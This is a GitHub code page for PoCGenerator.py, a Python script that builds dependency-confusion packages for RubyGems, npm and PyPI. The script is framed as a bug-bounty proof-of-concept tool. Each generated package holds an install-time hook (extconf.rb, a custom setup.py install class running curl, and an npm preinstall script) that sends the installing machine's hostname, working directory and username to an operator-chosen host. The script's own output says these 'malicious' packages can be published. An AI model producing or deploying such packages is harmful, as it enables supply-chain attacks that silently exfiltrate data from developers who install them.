-
Notifications
You must be signed in to change notification settings - Fork 0
/
PoCGenerator.py
352 lines (296 loc) · 9.51 KB
/
PoCGenerator.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
import json
import os
def generate_poc_directory(name: str):
try:
os.mkdir(f'./{name}')
except:
print(f"Just warning: Path already exist or user haven't got write permission ('{name}' directory creation)")
try:
os.mkdir(f'./{name}/gem')
except:
print(
f"Just warning: Path already exist or user haven't got write permission ('{name}/gem' directory creation)")
try:
os.mkdir(f'./{name}/npm')
except:
print(
f"Just warning: Path already exist or user haven't got write permission ('{name}/npm' directory creation)")
try:
os.mkdir(f'./{name}/pip')
except:
print(
f"Just warning: Path already exist or user haven't got write permission ('{name}/pip' directory creation)")
def generate_gem_poc(name: str, host_ip: str, port: int, ssl_enabled: bool):
try:
os.makedirs(f'./{name}/gem/ext/{name}')
except:
print(
f"Just warning: Path already exist or user haven't got write permission ('./{name}/gem/ext/{name}' directory creation)")
try:
os.mkdir(f'./{name}/gem/lib')
except:
print(
f"Just warning: Path already exist or user haven't got write permission ('./{name}/gem/lib' directory creation)")
gemspec = f"""
Gem::Specification.new do |s|
s.name = "{name}"
s.version = "1337.13.69"
s.summary = "{name}"
s.description = "PoC for potential RCE generated by my program"
s.authors = ["ExZuperi"]
s.email = "[email protected]"
s.files = ["lib/{name}.rb"]
s.homepage =
"https://rubygems.org/gems/{name}"
s.license = "MIT"
s.extensions << 'ext/{name}/extconf.rb'
end"""
with open(f'{name}/gem/{name}.gemspec', 'w') as f:
f.write(gemspec)
if ssl_enabled:
extconf = f"""
require 'net/http'
require 'json'
require 'openssl'
hostname = Socket.gethostname
user = ENV['USER']
pwd = ENV['PWD']
package_name = "{name}"
# Create the JSON data
data = {{
"hostname" => hostname,
"pwd" => pwd,
"user" => user,
"package_name" => package_name
}}.to_json
# Send the POST request
uri = URI('https://{host_ip}:{port}/PoC')
http = Net::HTTP.new(uri.host, uri.port)
http.use_ssl = true
http.ssl_version = :TLSv1_2
http.verify_mode = OpenSSL::SSL::VERIFY_NONE
request = Net::HTTP::Post.new(uri.request_uri, 'Content-Type' => 'application/json')
request.body = data
response = http.request(request)
require 'mkmf'
create_makefile('hello_c')
"""
else:
extconf = f"""
require 'net/http'
require 'json'
require 'openssl'
hostname = Socket.gethostname
user = ENV['USER']
pwd = ENV['PWD']
package_name = "{name}"
# Create the JSON data
data = {{
"hostname" => hostname,
"pwd" => pwd,
"user" => user,
"package_name" => package_name
}}.to_json
# Send the POST request
uri = URI('http://{host_ip}:{port}/PoC')
http = Net::HTTP.new(uri.host, uri.port)
#http.use_ssl = true
#http.ssl_version = :TLSv1_2
#http.verify_mode = OpenSSL::SSL::VERIFY_NONE
request = Net::HTTP::Post.new(uri.request_uri, 'Content-Type' => 'application/json')
request.body = data
response = http.request(request)
require 'mkmf'
create_makefile('hello_c')
"""
with open(f'{name}/gem/ext/{name}/extconf.rb', 'w') as f:
f.write(extconf)
helloworld_c = """
#include <stdio.h>
#include "ruby.h"
VALUE world(VALUE self) {
printf("Hello World!\n");
return Qnil;
}
void Init_hello_c() {
printf("Hello World!\n");
VALUE HelloC = rb_define_module("HelloC");
rb_define_singleton_method(HelloC, "world", world, 0);
}
"""
with open(f'{name}/gem/ext/{name}/hello.c', 'w') as f:
f.write(helloworld_c)
libfile = f"""
class {name}
def self.hi
puts "Thanks for BugBounty cooperation!"
end
end
"""
with open(f'{name}/gem/lib/{name}.rb', 'w') as f:
f.write(libfile)
print("\nGEM code was generated. Thanks!")
print("What should I do next?")
print(f"cd {name}/gem/ && gem build {name}.gemspec")
print("Now you can publish your malicious .gem!")
def generate_pip_poc(name: str, host_ip: str, port: int, ssl_enabled: bool):
try:
os.makedirs(f'./{name}/pip/src/{name}')
except:
print(
f"Just warning: Path already exist or user haven't got write permission ('{name}/pip/src/{name}' directory creation)")
link = f"https://{host_ip}:{port}/PoC" if ssl_enabled else f"http://{host_ip}:{port}/PoC"
setup = f"""
from setuptools import setup, find_packages
from setuptools.command.install import install
import socket
import os
def send_poc():
hostname = socket.gethostname()
current_directory = os.getcwd()
username = os.getlogin()
os.system(f\"\"\"
curl -k --header "Content-Type: application/json" \\
--request POST \\
--data '{{{{"hostname":"{{hostname}}","pwd":"{{current_directory}}", "user":"{{username}}", "package_name":"{name}"}}}}' \\
{link}\"\"\")
class RunArbitraryCode(install):
def run(self):
send_poc()
install.run(self)
setup(
name='{name}',
version='1337.13.69',
license="MIT",
packages=find_packages(),
install_requires=[
'requests',
'setuptools'
],
cmdclass={{
'install': RunArbitraryCode,
}},
)
"""
with open(f'{name}/pip/setup.py', 'w') as f:
f.write(setup)
license = """
Copyright 2024 Sergey Lezhnin aka ExZuperi
Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the “Software”), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
"""
with open(f'{name}/pip/LICENSE', 'w') as f:
f.write(license)
READMEmd = """I'm baby hecker"""
with open(f'{name}/pip/README.md', 'w') as f:
f.write(READMEmd)
init = """"""
with open(f'{name}/pip/src/{name}/__init__.py', 'w') as f:
f.write(init)
main = """def make_dep():
print("Dep")"""
with open(f'{name}/pip/src/{name}/main.py', 'w') as f:
f.write(main)
print("\nPIP code was generated. Thanks!")
print("What should I do next?")
print(f"cd {name}/pip/ && pip install twine && python3 -m build")
print("Now you can publish your malicious dist/*.tar.gz!")
print("DON'T PUBLISH *.whl FILE. THEY ARE NOT VULNERABLE")
def generate_npm_poc(name: str, host_ip: str, port: int, ssl_enabled: bool):
if ssl_enabled:
required = f"""
const os = require('os');
const https = require('https');
const querystring = require('querystring');
const fs = require('fs');
const packageJSON = require('./package.json');
const package_name = packageJSON.name;
"""
request = f"""
const req = https.request(options, (res) => {{
res.on('data', (d) => {{
//console.log(d);
}});
}});
req.on('error', (e) => {{
//console.error(e);
}});
req.write(postData);
req.end();
"""
else:
required = f"""
const os = require('os');
const http = require('http');
const querystring = require('querystring');
const fs = require('fs');
const packageJSON = require('./package.json');
const package_name = packageJSON.name;
"""
request = f"""
const req = http.request(options, (res) => {{
res.on('data', (d) => {{
//console.log(d);
}});
}});
req.on('error', (e) => {{
//console.error(e);
}});
req.write(postData);
req.end();
"""
tracking_data = f"""
const trackingData = {{
hostname: os.hostname(),
pwd: __dirname,
user: os.userInfo().username,
package_name: packageJSON.name,
}};
"""
post_data = f"""
const postData = JSON.stringify(trackingData);
"""
options = f"""
const options = {{
hostname: "{host_ip}",
port: {port},
path: '/PoC',
method: 'POST',
headers: {{
'Content-Type': 'application/json',
'Content-Length': Buffer.byteLength(postData),
}},
rejectUnauthorized: false,
timeout: 2000,
}};
"""
code = f"""
{required}
{tracking_data}
{post_data}
{options}
{request}
"""
with open(f'{name}/npm/index.js', 'w') as f:
f.write(code)
package_json = {
"name": name,
"version": "1337.13.69",
"main": "index.js",
"scripts": {
"preinstall": "node index.js"
},
"license": "ISC"
}
with open(f'{name}/npm/package.json', 'w') as f:
json.dump(package_json, f, indent=2)
print("\nNPM code was generated. Thanks!")
print("What should I do next?")
print(f"cd {name}/npm/ && npm login")
print("After your login, you can execute 'npm publish'. That's all!")
def generate_packets_of_shit(name: str, host_ip: str, port: int, ssl_enabled: bool):
generate_poc_directory(name)
generate_npm_poc(name, host_ip, port, ssl_enabled)
generate_gem_poc(name, host_ip, port, ssl_enabled)
generate_pip_poc(name, host_ip, port, ssl_enabled)